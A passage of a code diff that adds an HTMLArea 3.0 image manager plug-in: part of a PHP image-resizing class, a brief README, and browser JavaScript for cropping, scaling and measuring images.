+ var $new_x = '';
+ /**
+ * New image width in y direction
+ * @var int
+ */
+ var $new_y = '';
+ /**
+ * Path the the library used
+ * e.g. /usr/local/ImageMagick/bin/ or
+ * /usr/local/netpbm/
+ */
+ var $lib_path = '';
+ /**
+ * Flag to warn if image has been resized more than once before displaying
+ * or saving.
+ */
+ var $resized = false;
+
+
+ var $uid = '';
+
+ var $lapse_time =900; //15 mins
+
+ /**
+ * Create a new Image_resize object
+ *
+ * @param string $driver name of driver class to initialize
+ *
+ * @return mixed a newly created Image_Transform object, or a PEAR
+ * error object on error
+ *
+ * @see PEAR::isError()
+ * @see Image_Transform::setOption()
+ */
+ function &factory($driver)
+ {
+ if ('' == $driver) {
+ die("No image library specified... aborting. You must call ::factory() with one parameter, the library to load.");
+
+ }
+ $this->uid = md5($_SERVER['REMOTE_ADDR']);
+
+ include_once "$driver.php";
+
+ $classname = "Image_Transform_Driver_{$driver}";
+ $obj =& new $classname;
+ return $obj;
+ }
+
+
+ /**
+ * Resize the Image in the X and/or Y direction
+ * If either is 0 it will be scaled proportionally
+ *
+ * @access public
+ *
+ * @param mixed $new_x (0, number, percentage 10% or 0.1)
+ * @param mixed $new_y (0, number, percentage 10% or 0.1)
+ *
+ * @return mixed none or PEAR_error
+ */
+ function resize($new_x = 0, $new_y = 0)
+ {
+ // 0 means keep original size
+ $new_x = (0 == $new_x) ? $this->img_x : $this->_parse_size($new_x, $this->img_x);
+ $new_y = (0 == $new_y) ? $this->img_y : $this->_parse_size($new_y, $this->img_y);
+ // Now do the library specific resizing.
+ return $this->_resize($new_x, $new_y);
+ } // End resize
+
+
+ /**
+ * Scale the image to have the max x dimension specified.
+ *
+ * @param int $new_x Size to scale X-dimension to
+ * @return none
+ */
+ function scaleMaxX($new_x)
+ {
+ $new_y = round(($new_x / $this->img_x) * $this->img_y, 0);
+ return $this->_resize($new_x, $new_y);
+ } // End resizeX
+
+ /**
+ * Scale the image to have the max y dimension specified.
+ *
+ * @access public
+ * @param int $new_y Size to scale Y-dimension to
+ * @return none
+ */
+ function scaleMaxY($new_y)
+ {
+ $new_x = round(($new_y / $this->img_y) * $this->img_x, 0);
+ return $this->_resize($new_x, $new_y);
+ } // End resizeY
+
+ /**
+ * Scale Image to a maximum or percentage
+ *
+ * @access public
+ * @param mixed (number, percentage 10% or 0.1)
+ * @return mixed none or PEAR_error
+ */
+ function scale($size)
+ {
+ if ((strlen($size) > 1) && (substr($size,-1) == '%')) {
+ return $this->scaleByPercentage(substr($size, 0, -1));
+ } elseif ($size < 1) {
+ return $this->scaleByFactor($size);
+ } else {
+ return $this->scaleByLength($size);
+ }
+ } // End scale
+
+ /**
+ * Scales an image to a percentage of its original size. For example, if
+ * my image was 640x480 and I called scaleByPercentage(10) then the image
+ * would be resized to 64x48
+ *
+ * @access public
+ * @param int $size Percentage of original size to scale to
+ * @return none
+ */
+ function scaleByPercentage($size)
+ {
+ return $this->scaleByFactor($size / 100);
+ } // End scaleByPercentage
+
+ /**
+ * Scales an image to a factor of its original size. For example, if
+ * my image was 640x480 and I called scaleByFactor(0.5) then the image
+ * would be resized to 320x240.
+ *
+ * @access public
+ * @param float $size Factor of original size to scale to
+ * @return none
+ */
+ function scaleByFactor($size)
+ {
+ $new_x = round($size * $this->img_x, 0);
+ $new_y = round($size * $this->img_y, 0);
+ return $this->_resize($new_x, $new_y);
+ } // End scaleByFactor
+
+ /**
+ * Scales an image so that the longest side has this dimension.
+ *
+ * @access public
+ * @param int $size Max dimension in pixels
+ * @return none
+ */
+ function scaleByLength($size)
+ {
+ if ($this->img_x >= $this->img_y) {
+ $new_x = $size;
+ $new_y = round(($new_x / $this->img_x) * $this->img_y, 0);
+ } else {
+ $new_y = $size;
+ $new_x = round(($new_y / $this->img_y) * $this->img_x, 0);
+ }
+ return $this->_resize($new_x, $new_y);
+ } // End scaleByLength
+
+
+ /**
+ *
+ * @access public
+ * @return void
+ */
+ function _get_image_details($image)
+ {
+ //echo $image;
+ $data = @GetImageSize($image);
+ #1 = GIF, 2 = JPG, 3 = PNG, 4 = SWF, 5 = PSD, 6 = BMP, 7 = TIFF(intel byte order), 8 = TIFF(motorola byte order,
+ # 9 = JPC, 10 = JP2, 11 = JPX, 12 = JB2, 13 = SWC
+ if (is_array($data)){
+ switch($data[2]){
+ case 1:
+ $type = 'gif';
+ break;
+ case 2:
+ $type = 'jpeg';
+ break;
+ case 3:
+ $type = 'png';
+ break;
+ case 4:
+ $type = 'swf';
+ break;
+ case 5:
+ $type = 'psd';
+ case 6:
+ $type = 'bmp';
+ case 7:
+ case 8:
+ $type = 'tiff';
+ default:
+ echo("We do not recognize this image format");
+ }
+ $this->img_x = $data[0];
+ $this->img_y = $data[1];
+ $this->type = $type;
+
+ return true;
+ } else {
+ echo("Cannot fetch image or images details.");
+ return null;
+ }
+ /*
+ $output = array(
+ 'width' => $data[0],
+ 'height' => $data[1],
+ 'type' => $type
+ );
+ return $output;
+ */
+ }
+
+
+ /**
+ * Parse input and convert
+ * If either is 0 it will be scaled proportionally
+ *
+ * @access private
+ *
+ * @param mixed $new_size (0, number, percentage 10% or 0.1)
+ * @param int $old_size
+ *
+ * @return mixed none or PEAR_error
+ */
+ function _parse_size($new_size, $old_size)
+ {
+ if ('%' == $new_size) {
+ $new_size = str_replace('%','',$new_size);
+ $new_size = $new_size / 100;
+ }
+ if ($new_size > 1) {
+ return (int) $new_size;
+ } elseif ($new_size == 0) {
+ return (int) $old_size;
+ } else {
+ return (int) round($new_size * $old_size, 0);
+ }
+ }
+
+
+ function uniqueStr()
+ {
+ return substr(md5(microtime()),0,6);
+ }
+
+ //delete old tmp files, and allow only 1 file per remote host.
+ function cleanUp($id, $dir)
+ {
+ $d = dir($dir);
+ $id_length = strlen($id);
+
+ while (false !== ($entry = $d->read())) {
+ if (is_file($dir.'/'.$entry) && substr($entry,0,1) == '.' && !ereg($entry, $this->image))
+ {
+ //echo filemtime($this->directory.'/'.$entry)."<br>";
+ //echo time();
+
+ if (filemtime($dir.'/'.$entry) + $this->lapse_time < time())
+ unlink($dir.'/'.$entry);
+
+ if (substr($entry, 1, $id_length) == $id)
+ {
+ if (is_file($dir.'/'.$entry))
+ unlink($dir.'/'.$entry);
+ }
+ }
+ }
+ $d->close();
+ }
+
+
+ function createUnique($dir)
+ {
+ $unique_str = '.'.$this->uid.'_'.$this->uniqueStr().".".$this->type;
+
+ //make sure the the unique temp file does not exists
+ while (file_exists($dir.$unique_str))
+ {
+ $unique_str = '.'.$this->uid.'_'.$this->uniqueStr().".".$this->type;
+ }
+
+ $this->cleanUp($this->uid, $dir);
+
+ return $unique_str;
+ }
+
+
+ /**
+ * Set the image width
+ * @param int $size dimension to set
+ * @since 29/05/02 13:36:31
+ * @return
+ */
+ function _set_img_x($size)
+ {
+ $this->img_x = $size;
+ }
+
+ /**
+ * Set the image height
+ * @param int $size dimension to set
+ * @since 29/05/02 13:36:31
+ * @return
+ */
+ function _set_img_y($size)
+ {
+ $this->img_y = $size;
+ }
+
+ /**
+ * Set the image width
+ * @param int $size dimension to set
+ * @since 29/05/02 13:36:31
+ * @return
+ */
+ function _set_new_x($size)
+ {
+ $this->new_x = $size;
+ }
+
+ /**
+ * Set the image height
+ * @param int $size dimension to set
+ * @since 29/05/02 13:36:31
+ * @return
+ */
+ function _set_new_y($size)
+ {
+ $this->new_y = $size;
+ }
+
+ /**
+ * Get the type of the image being manipulated
+ *
+ * @return string $this->type the image type
+ */
+ function getImageType()
+ {
+ return $this->type;
+ }
+
+ /**
+ *
+ * @access public
+ * @return string web-safe image type
+ */
+ function getWebSafeFormat()
+ {
+ switch($this->type){
+ case 'gif':
+ case 'png':
+ return 'png';
+ break;
+ default:
+ return 'jpeg';
+ } // switch
+ }
+
+ /**
+ * Place holder for the real resize method
+ * used by extended methods to do the resizing
+ *
+ * @access private
+ * @return PEAR_error
+ */
+ function _resize() {
+ return null; //PEAR::raiseError("No Resize method exists", true);
+ }
+
+ /**
+ * Place holder for the real load method
+ * used by extended methods to do the resizing
+ *
+ * @access public
+ * @return PEAR_error
+ */
+ function load($filename) {
+ return null; //PEAR::raiseError("No Load method exists", true);
+ }
+
+ /**
+ * Place holder for the real display method
+ * used by extended methods to do the resizing
+ *
+ * @access public
+ * @param string filename
+ * @return PEAR_error
+ */
+ function display($type, $quality) {
+ return null; //PEAR::raiseError("No Display method exists", true);
+ }
+
+ /**
+ * Place holder for the real save method
+ * used by extended methods to do the resizing
+ *
+ * @access public
+ * @param string filename
+ * @return PEAR_error
+ */
+ function save($filename, $type, $quality) {
+ return null; //PEAR::raiseError("No Save method exists", true);
+ }
+
+ /**
+ * Place holder for the real free method
+ * used by extended methods to do the resizing
+ *
+ * @access public
+ * @return PEAR_error
+ */
+ function free() {
+ return null; //PEAR::raiseError("No Free method exists", true);
+ }
+
+ /**
+ * Reverse of rgb2colorname.
+ *
+ * @access public
+ * @return PEAR_error
+ *
+ * @see rgb2colorname
+ */
+ function colorhex2colorarray($colorhex) {
+ $r = hexdec(substr($colorhex, 1, 2));
+ $g = hexdec(substr($colorhex, 3, 2));
+ $b = hexdec(substr($colorhex, 4, 2));
+ return array($r,$g,$b);
+ }
+
+ /**
+ * Reverse of rgb2colorname.
+ *
+ * @access public
+ * @return PEAR_error
+ *
+ * @see rgb2colorname
+ */
+ function colorarray2colorhex($color) {
+ $color = '#'.dechex($color[0]).dechex($color[1]).dechex($color[2]);
+ return strlen($color)>6?false:$color;
+ }
+
+
+ /* Methods to add to the driver classes in the future */
+ function addText()
+ {
+ return null; //PEAR::raiseError("No addText method exists", true);
+ }
+
+ function addDropShadow()
+ {
+ return null; //PEAR::raiseError("No AddDropShadow method exists", true);
+ }
+
+ function addBorder()
+ {
+ return null; //PEAR::raiseError("No addBorder method exists", true);
+ }
+
+ function crop()
+ {
+ return null; //PEAR::raiseError("No crop method exists", true);
+ }
+
+ function flip()
+ {
+ return null;
+ }
+
+ function gamma()
+ {
+ return null; //PEAR::raiseError("No gamma method exists", true);
+ }
+}
+?>
--- /dev/null
+This is a plug-in for HTMLArea 3.0
+
+The PHP ImageManager + Editor provides an interface to
+browser for image files on your web server. The Editor
+allows some basic image manipulations such as, cropping,
+rotation, flip, and scaling.
+
+Further and up-to-date documentation can be found at
+http://www.zhuo.org/htmlarea/docs/index.html
+
+Cheer,
+Wei
\ No newline at end of file
--- /dev/null
+/***********************************************************************
+** Title.........: Online Image Editor Interface
+** Version.......: 1.0
+** Author........: Xiang Wei ZHUO <wei@zhuo.org>
+** Filename......: EditorContents.js
+** Last changed..: 31 Mar 2004
+** Notes.........: Handles most of the interface routines for the ImageEditor.
+*
+* Added: 29 Mar 2004 - Constrainted resizing/scaling
+**/
+
+
+function MM_findObj(n, d) { //v4.01
+ var p,i,x; if(!d) d=document; if((p=n.indexOf("?"))>0&&parent.frames.length) {
+ d=parent.frames[n.substring(p+1)].document; n=n.substring(0,p);}
+ if(!(x=d[n])&&d.all) x=d.all[n]; for (i=0;!x&&i<d.forms.length;i++) x=d.forms[i][n];
+ for(i=0;!x&&d.layers&&i<d.layers.length;i++) x=MM_findObj(n,d.layers[i].document);
+ if(!x && d.getElementById) x=d.getElementById(n); return x;
+}
+
+var pic_x, pic_y;
+function P7_Snap() { //v2.62 by PVII
+ var x,y,ox,bx,oy,p,tx,a,b,k,d,da,e,el,args=P7_Snap.arguments;a=parseInt(a);
+ for (k=0; k<(args.length-3); k+=4)
+ if ((g=MM_findObj(args[k]))!=null) {
+ el=eval(MM_findObj(args[k+1]));
+ a=parseInt(args[k+2]);b=parseInt(args[k+3]);
+ x=0;y=0;ox=0;oy=0;p="";tx=1;da="document.all['"+args[k]+"']";
+ if(document.getElementById) {
+ d="document.getElementsByName('"+args[k]+"')[0]";
+ if(!eval(d)) {d="document.getElementById('"+args[k]+"')";if(!eval(d)) {d=da;}}
+ }else if(document.all) {d=da;}
+ if (document.all || document.getElementById) {
+ while (tx==1) {p+=".offsetParent";
+ if(eval(d+p)) {x+=parseInt(eval(d+p+".offsetLeft"));y+=parseInt(eval(d+p+".offsetTop"));
+ }else{tx=0;}}
+ ox=parseInt(g.offsetLeft);oy=parseInt(g.offsetTop);var tw=x+ox+y+oy;
+ if(tw==0 || (navigator.appVersion.indexOf("MSIE 4")>-1 && navigator.appVersion.indexOf("Mac")>-1)) {
+ ox=0;oy=0;if(g.style.left){x=parseInt(g.style.left);y=parseInt(g.style.top);
+ }else{var w1=parseInt(el.style.width);bx=(a<0)?-5-w1:-10;
+ a=(Math.abs(a)<1000)?0:a;b=(Math.abs(b)<1000)?0:b;
+ //alert(event.clientX);
+ if (event == null) x=document.body.scrollLeft + bx;
+ else x=document.body.scrollLeft + event.clientX + bx;
+ if (event == null) y=document.body.scrollTop;
+ else y=document.body.scrollTop + event.clientY;}}
+ }else if (document.layers) {x=g.x;y=g.y;var q0=document.layers,dd="";
+ for(var s=0;s<q0.length;s++) {dd='document.'+q0[s].name;
+ if(eval(dd+'.document.'+args[k])) {x+=eval(dd+'.left');y+=eval(dd+'.top');break;}}}
+ if(el) {e=(document.layers)?el:el.style;
+ var xx=parseInt(x+ox+a),yy=parseInt(y+oy+b);
+ //alert(xx+":"+yy);
+ if(navigator.appName=="Netscape" && parseInt(navigator.appVersion)>4){xx+="px";yy+="px";}
+ if(navigator.appVersion.indexOf("MSIE 5")>-1 && navigator.appVersion.indexOf("Mac")>-1){
+ xx+=parseInt(document.body.leftMargin);yy+=parseInt(document.body.topMargin);
+ xx+="px";yy+="px";}e.left=xx;e.top=yy;}
+ pic_x = parseInt(xx); pic_y = parseInt(yy);
+ //alert(xx+":"+yy);
+ }
+}
+
+var ie=document.all
+var ns6=document.getElementById&&!document.all
+
+var dragapproved=false
+var z,x,y,status, ant, canvas, content, pic_width, pic_height, image, resizeHandle, oa_w, oa_h, oa_x, oa_y, mx2, my2;
+
+
+function init_resize()
+{
+ if(mode == "scale")
+ {
+ P7_Snap('theImage','ant',0,0);
+
+ if (canvas == null)
+ canvas = MM_findObj("imgCanvas");
+
+ if (pic_width == null || pic_height == null)
+ {
+ image = MM_findObj("theImage");
+ pic_width = image.width;
+ pic_height = image.height;
+ }
+
+ if (ant == null)
+ ant = MM_findObj("ant");
+
+ ant.style.left = pic_x; ant.style.top = pic_y;
+ ant.style.width = pic_width; ant.style.height = pic_height;
+ ant.style.visibility = "visible";
+
+ drawBoundHandle();
+ jg_doc.paint();
+ }
+}
+
+initEditor = function ()
+{
+ init_crop();
+ init_resize();
+ var markerImg = MM_findObj('markerImg', window.top.document);
+
+ if (markerImg.src.indexOf("img/t_white.gif")>0)
+ toggleMarker() ;
+}
+
+function init_crop()
+{
+ //if(mode == "crop") {
+ P7_Snap('theImage','ant',0,0);
+ //}
+}
+
+function setMode(newMode)
+{
+ mode = newMode;
+ reset();
+}
+
+function reset()
+{
+ if (ant == null)
+ ant = MM_findObj("ant");
+
+ ant.style.visibility = "hidden";
+ ant.style.left = 0;
+ ant.style.top = 0;
+ ant.style.width = 0;
+ ant.style.height = 0;
+
+ mx2 = null;
+ my2 = null;
+
+ jg_doc.clear();
+ if(mode != 'measure')
+ showStatus();
+
+ if(mode == "scale") {
+ init_resize();
+ }
+
+ P7_Snap('theImage','ant',0,0);
+}
+
+function toggleMarker()
+{
+ //alert("Toggle");
+ if (ant == null)
+ ant = MM_findObj("ant");
+
+ if(ant.className=="selection")
+ ant.className="selectionWhite";
+ else
+ ant.className="selection";
+
+ if (jg_doc.getColor() == "#000000")
+ jg_doc.setColor("#FFFFFF");
+ else
+ jg_doc.setColor("#000000");
+
+ drawBoundHandle
+ jg_doc.paint();
+}
+
+
+function move(e)
+{
+ if (dragapproved)
+ {
+ //z.style.left=ns6? temp1+e.clientX-x: temp1+event.clientX-x
+ //z.style.top=ns6? temp2+e.clientY-y : temp2+event.clientY-y
+ var w = ns6? temp1+e.clientX - x : temp1+event.clientX - x;
+ var h = ns6? temp2+e.clientY - y : temp2+event.clientY - y;
+
+ //alert(canvas.style.left);
+ /*if (status !=null)
+ {
+ status.innerHTML = "x:"+x+" y:"+y+" w:"+w+" h:"+h+" can_h:"+pic_height;
+ status.innerHTML += " can_w:"+pic_width+" px:"+pic_x+" py:"+pic_y;
+ status.innerHTML += " pix:"+image.style.left+" piy:"+image.style.top+" obj:"+obj.id;
+ }*/
+
+ /*jg_doc.clear();
+ jg_doc.fillRectPattern(0,0,Math.abs(w),Math.abs(h),pattern);
+ jg_doc.paint();
+*/
+ if (ant != null)
+ {
+ if (w >= 0)
+ {
+ ant.style.left = x;
+ ant.style.width = w;
+ }
+ else
+ {
+ ant.style.left = x+w;
+ ant.style.width = -1*w;
+ }
+
+ if (h >= 0)
+ {
+ ant.style.top = y;
+ ant.style.height = h;
+ }
+ else
+ {
+ ant.style.top = y+h;
+ ant.style.height = -1*h
+ }
+ }
+
+ showStatus();
+ return false
+ }
+}
+
+function moveContent(e)
+{
+ if (dragapproved)
+ {
+
+ var dx =ns6? oa_x + e.clientX-x: oa_x + event.clientX-x
+ var dy =ns6? oa_y + e.clientY-y : oa_y + event.clientY-y
+
+
+ /*if (status !=null)
+ {
+ status.innerHTML = "x:"+x+" y:"+y+" dx:"+dx+" dy:"+dy;
+ }*/
+
+ ant.style.left = dx;
+ ant.style.top = dy;
+
+ showStatus();
+
+ return false;
+ }
+}
+
+//Code add for constraints by Frédéric Klee <fklee@isuisse.com>
+function moveHandle(e)
+{
+ if (dragapproved)
+ {
+ var w = ns6? e.clientX - x : event.clientX - x;
+ var h = ns6? e.clientY - y : event.clientY - y;
+
+ var constrained = MM_findObj('constProp', window.top.document);
+ var orginal_height = document.theImage.height ;
+ var orginal_width = document.theImage.width ;
+ rapp = orginal_width/orginal_height ;
+ rapp_inv = orginal_height / orginal_width ;
+
+ switch(resizeHandle)
+ {
+
+ case "s-resize":
+ if (oa_h + h >= 0)
+ {
+ ant.style.height = oa_h + h;
+ if(constrained.checked)
+ {
+ ant.style.width = rapp * (oa_h + h) ;
+ ant.style.left = oa_x - rapp * h/2;
+ }
+
+ }
+ break;
+ case "e-resize":
+ if(oa_w + w >= 0)
+ {
+ ant.style.width = oa_w + w;
+ if(constrained.checked)
+ {
+ ant.style.height = rapp_inv * (oa_w + w) ;
+ ant.style.top = oa_y - rapp_inv * w/2;
+ }
+
+ }
+ break;
+ case "n-resize":
+ if (oa_h - h >= 0)
+ {
+ ant.style.top = oa_y + h;
+ ant.style.height = oa_h - h;
+ if(constrained.checked)
+ {
+ ant.style.width = rapp * (oa_h - h) ;
+ ant.style.left = oa_x + rapp * h/2;
+ }
+
+ }
+ break;
+ case "w-resize":
+ if(oa_w - w >= 0)
+ {
+ ant.style.left = oa_x + w;
+ ant.style.width = oa_w - w;
+ if(constrained.checked)
+ {
+ ant.style.height = rapp_inv * (oa_w - w) ;
+ ant.style.top = oa_y + rapp_inv * w/2;
+ }
+
+ }break;
+ case "nw-resize":
+ if(oa_h - h >= 0 && oa_w - w >= 0) {
+ ant.style.left = oa_x + w;
+ ant.style.width = oa_w - w;
+ ant.style.top = oa_y + h;
+ if(constrained.checked)
+ ant.style.height = rapp_inv * (oa_w - w) ;
+ else
+ ant.style.height = oa_h - h;
+ }
+ break;
+ case "ne-resize":
+ if (oa_h - h >= 0 && oa_w + w >= 0){
+ ant.style.top = oa_y + h;
+ ant.style.width = oa_w + w;
+ if(constrained.checked)
+ ant.style.height = rapp_inv * (oa_w + w) ;
+ else
+ ant.style.height = oa_h - h;
+ }
+ break;
+ case "se-resize":
+ if (oa_h + h >= 0 && oa_w + w >= 0)
+ {
+ ant.style.width = oa_w + w;
+ if(constrained.checked)
+ ant.style.height = rapp_inv * (oa_w + w) ;
+ else
+ ant.style.height = oa_h + h;
+ }
+ break;
+ case "sw-resize":
+ if (oa_h + h >= 0 && oa_w - w >= 0)
+ {
+ ant.style.left = oa_x + w;
+ ant.style.width = oa_w - w;
+ if(constrained.checked)
+ ant.style.height = rapp_inv * (oa_w - w) ;
+ else
+ ant.style.height = oa_h + h;
+ }
+ }
+
+ showStatus();
+ return false;
+
+ }
+}
+
+function drags(e)
+{
+ if (!ie&&!ns6)
+ return
+
+ var firedobj=ns6? e.target : event.srcElement
+ var topelement=ns6? "HTML" : "BODY"
+
+ while (firedobj.tagName!=topelement&&
+ !(firedobj.className=="crop"
+ || firedobj.className=="handleBox"
+ || firedobj.className=="selection" || firedobj.className=="selectionWhite"))
+ {
+ firedobj=ns6? firedobj.parentNode : firedobj.parentElement
+ }
+
+ if(firedobj.className=="handleBox") {
+
+ if(content != null) {
+ if(content.width != null && content.height != null) {
+ content.width = 0;
+ content.height = 0;
+ }
+ //alert(content.width+":"+content.height);
+ }
+ resizeHandle = firedobj.id;
+
+ /*if(status!=null) {
+ status.innerHTML = " obj:"+firedobj.id;
+ }*/
+
+ x=ns6? e.clientX: event.clientX
+ y=ns6? e.clientY: event.clientY
+
+ oa_w = parseInt(ant.style.width);
+ oa_h = parseInt(ant.style.height);
+ oa_x = parseInt(ant.style.left);
+ oa_y = parseInt(ant.style.top);
+
+ dragapproved=true
+ document.onmousemove=moveHandle;
+ return false;
+ }
+ else
+ if((firedobj.className == "selection" || firedobj.className=="selectionWhite")&& mode == "crop") {
+
+ x=ns6? e.clientX: event.clientX
+ y=ns6? e.clientY: event.clientY
+
+ oa_x = parseInt(ant.style.left);
+ oa_y = parseInt(ant.style.top);
+
+ dragapproved=true
+ document.onmousemove=moveContent;
+ return false;
+ }
+ else
+ if (firedobj.className=="crop" && mode == "crop")
+ {
+ if(content != null) {
+ if(content.width != null && content.height != null) {
+ content.width = 0;
+ content.height = 0;
+ }
+ //alert(content.width+":"+content.height);
+ }
+
+ if (status == null)
+ status = MM_findObj("status");
+
+ if (ant == null)
+ ant = MM_findObj("ant");
+
+ if (canvas == null)
+ canvas = MM_findObj("imgCanvas");
+ if(content == null) {
+ content = MM_findObj("cropContent");
+ }
+
+ if (pic_width == null || pic_height == null)
+ {
+ image = MM_findObj("theImage");
+ pic_width = image.width;
+ pic_height = image.height;
+ }
+
+ ant.style.visibility = "visible";
+
+ obj = firedobj;
+ dragapproved=true
+ z=firedobj
+ temp1=parseInt(z.style.left+0)
+ temp2=parseInt(z.style.top+0)
+ x=ns6? e.clientX: event.clientX
+ y=ns6? e.clientY: event.clientY
+ document.onmousemove=move
+ return false
+ }
+ else if(firedobj.className=="crop" && mode == "measure") {
+
+ if (ant == null)
+ ant = MM_findObj("ant");
+
+ if (canvas == null)
+ canvas = MM_findObj("imgCanvas");
+
+ x=ns6? e.clientX: event.clientX
+ y=ns6? e.clientY: event.clientY
+
+ //jg_doc.draw
+ dragapproved=true
+ document.onmousemove=measure
+
+ return false
+ }
+}
+
+function measure(e)
+{
+ if (dragapproved)
+ {
+ mx2 = ns6? e.clientX : event.clientX;
+ my2 = ns6? e.clientY : event.clientY;
+
+ jg_doc.clear();
+ jg_doc.setStroke(Stroke.DOTTED);
+ jg_doc.drawLine(x,y,mx2,my2);
+ jg_doc.paint();
+ showStatus();
+ return false;
+ }
+}
+
+function setMarker(nx,ny,nw,nh)
+{
+ if (ant == null)
+ ant = MM_findObj("ant");
+
+ if (canvas == null)
+ canvas = MM_findObj("imgCanvas");
+ if(content == null) {
+ content = MM_findObj("cropContent");
+ }
+
+ if (pic_width == null || pic_height == null)
+ {
+ image = MM_findObj("theImage");
+ pic_width = image.width;
+ pic_height = image.height;
+ }
+
+ ant.style.visibility = "visible";
+
+ nx = pic_x + nx;
+ ny = pic_y + ny;
+
+ if (nw >= 0)
+ {
+ ant.style.left = nx;
+ ant.style.width = nw;
+ }
+ else
+ {
+ ant.style.left = nx+nw;
+ ant.style.width = -1*nw;
+ }
+
+ if (nh >= 0)
+ {
+ ant.style.top = ny;
+ ant.style.height = nh;
+ }
+ else
+ {
+ ant.style.top = ny+nh;
+ ant.style.height = -1*nh
+ }
+
+
+}
+
+function max(x,y)
+{
+ if(y > x)
+ return x;
+ else
+ return y;
+}
+
+function drawBoundHandle()
+{
+ if(ant == null || ant.style == null)
+ return false;
+
+ var ah = parseInt(ant.style.height);
+ var aw = parseInt(ant.style.width);
+ var ax = parseInt(ant.style.left);
+ var ay = parseInt(ant.style.top);
+
+ jg_doc.drawHandle(ax-15,ay-15,30,30,"nw-resize"); //upper left
+ jg_doc.drawHandle(ax-15,ay+ah-15,30,30,"sw-resize"); //lower left
+ jg_doc.drawHandle(ax+aw-15,ay-15,30,30,"ne-resize"); //upper right
+ jg_doc.drawHandle(ax+aw-15,ay+ah-15,30,30,"se-resize"); //lower right
+
+ jg_doc.drawHandle(ax+max(15,aw/10),ay-8,aw-2*max(15,aw/10),8,"n-resize"); //top middle
+ jg_doc.drawHandle(ax+max(15,aw/10),ay+ah,aw-2*max(15,aw/10),8,"s-resize"); //bottom middle
+ jg_doc.drawHandle(ax-8, ay+max(15,ah/10),8,ah-2*max(15,ah/10),"w-resize"); //left middle
+ jg_doc.drawHandle(ax+aw, ay+max(15,ah/10),8,ah-2*max(15,ah/10),"e-resize"); //right middle
+
+
+
+ jg_doc.drawHandleBox(ax-4,ay-4,8,8,"nw-resize"); //upper left
+ jg_doc.drawHandleBox(ax-4,ay+ah-4,8,8,"sw-resize"); //lower left
+ jg_doc.drawHandleBox(ax+aw-4,ay-4,8,8,"ne-resize"); //upper right
+ jg_doc.drawHandleBox(ax+aw-4,ay+ah-4,8,8,"se-resize"); //lower right
+
+ jg_doc.drawHandleBox(ax+aw/2-4,ay-4,8,8,"n-resize"); //top middle
+ jg_doc.drawHandleBox(ax+aw/2-4,ay+ah-4,8,8,"s-resize"); //bottom middle
+ jg_doc.drawHandleBox(ax-4, ay+ah/2-4,8,8,"w-resize"); //left middle
+ jg_doc.drawHandleBox(ax+aw-4, ay+ah/2-4,8,8,"e-resize"); //right middle
+
+ //jg_doc.paint();
+}
+
+function showStatus()
+{
+ if(ant == null || ant.style == null) {
+ return false;
+ }
+
+ if(mode == "measure") {
+ //alert(pic_x);
+ mx1 = x - pic_x;
+ my1 = y - pic_y;
+
+ mw = mx2 - x;
+ mh = my2 - y;
+
+ md = parseInt(Math.sqrt(mw*mw + mh*mh)*100)/100;
+
+ ma = (Math.atan(-1*mh/mw)/Math.PI)*180;
+ if(mw < 0 && mh < 0)
+ ma = ma+180;
+
+ if (mw <0 && mh >0)
+ ma = ma - 180;
+
+ ma = parseInt(ma*100)/100;
+
+ if (m_sx != null && !isNaN(mx1))
+ m_sx.value = mx1+"px";
+ if (m_sy != null && !isNaN(my1))
+ m_sy.value = my1+"px";
+ if(m_w != null && !isNaN(mw))
+ m_w.value = mw + "px";
+ if(m_h != null && !isNaN(mh))
+ m_h.value = mh + "px";
+
+ if(m_d != null && !isNaN(md))
+ m_d.value = md + "px";
+ if(m_a != null && !isNaN(ma))
+ m_a.value = ma + "";
+
+ if(r_ra != null &&!isNaN(ma))
+ r_ra.value = ma;
+
+ //alert("mx1:"+mx1+" my1"+my1);
+ return false;
+ }
+
+ var ah = parseInt(ant.style.height);
+ var aw = parseInt(ant.style.width);
+ var ax = parseInt(ant.style.left);
+ var ay = parseInt(ant.style.top);
+
+ var cx = ax-pic_x<0?0:ax-pic_x;
+ var cy = ay-pic_y<0?0:ay-pic_y;
+ cx = cx>pic_width?pic_width:cx;
+ cy = cy>pic_height?pic_height:cy;
+
+ var cw = ax-pic_x>0?aw:aw-(pic_x-ax);
+ var ch = ay-pic_y>0?ah:ah-(pic_y-ay);
+
+ ch = ay+ah<pic_y+pic_height?ch:ch-(ay+ah-pic_y-pic_height);
+ cw = ax+aw<pic_x+pic_width?cw:cw-(ax+aw-pic_x-pic_width);
+
+ ch = ch<0?0:ch; cw = cw<0?0:cw;
+
+ if (ant.style.visibility == "hidden")
+ {
+ cx = ""; cy = ""; cw=""; ch="";
+ }
+
+ if(mode == 'crop') {
+ if(t_cx != null)
+ t_cx.value = cx;
+ if (t_cy != null)
+ t_cy.value = cy;
+ if(t_cw != null)
+ t_cw.value = cw;
+ if (t_ch != null)
+ t_ch.value = ch;
+ }
+ else if(mode == 'scale') {
+
+ var sw = aw, sh = ah;
+
+ if (s_sw.value.indexOf('%')>0 && s_sh.value.indexOf('%')>0)
+ {
+ sw = cw/pic_width;
+ sh = ch/pic_height;
+ }
+ if (s_sw != null)
+ s_sw.value = sw;
+ if (s_sh != null)
+ s_sh.value = sh;
+ }
+
+}
+
+function dragStopped()
+{
+ dragapproved=false;
+
+ if(ant == null || ant.style == null) {
+ return false;
+ }
+
+ if(mode == "measure") {
+ jg_doc.drawLine(x-4,y,x+4,y);
+ jg_doc.drawLine(x,y-4,x,y+4);
+ jg_doc.drawLine(mx2-4,my2,mx2+4,my2);
+ jg_doc.drawLine(mx2,my2-4,mx2,my2+4);
+
+ jg_doc.paint();
+ showStatus();
+ return false;
+ }
+ var ah = parseInt(ant.style.height);
+ var aw = parseInt(ant.style.width);
+ var ax = parseInt(ant.style.left);
+ var ay = parseInt(ant.style.top);
+ jg_doc.clear();
+
+ if(content != null) {
+ if(content.width != null && content.height != null) {
+ content.width = aw-1;
+ content.height = ah-1;
+ }
+ //alert(content.width+":"+content.height);
+ }
+ if(mode == "crop") {
+ //alert(pic_y);
+ jg_doc.fillRectPattern(pic_x,pic_y,pic_width,ay-pic_y,pattern);
+
+ var h1 = ah;
+ var y1 = ay;
+ if (ah+ay >= pic_height+pic_y)
+ h1 = pic_height+pic_y-ay;
+ else if (ay <= pic_y)
+ {
+ h1 = ay+ah-pic_y;
+ y1 = pic_y;
+ }
+ jg_doc.fillRectPattern(pic_x,y1,ax-pic_x,h1,pattern);
+ jg_doc.fillRectPattern(ax+aw,y1,pic_x+pic_width-ax-aw,h1,pattern);
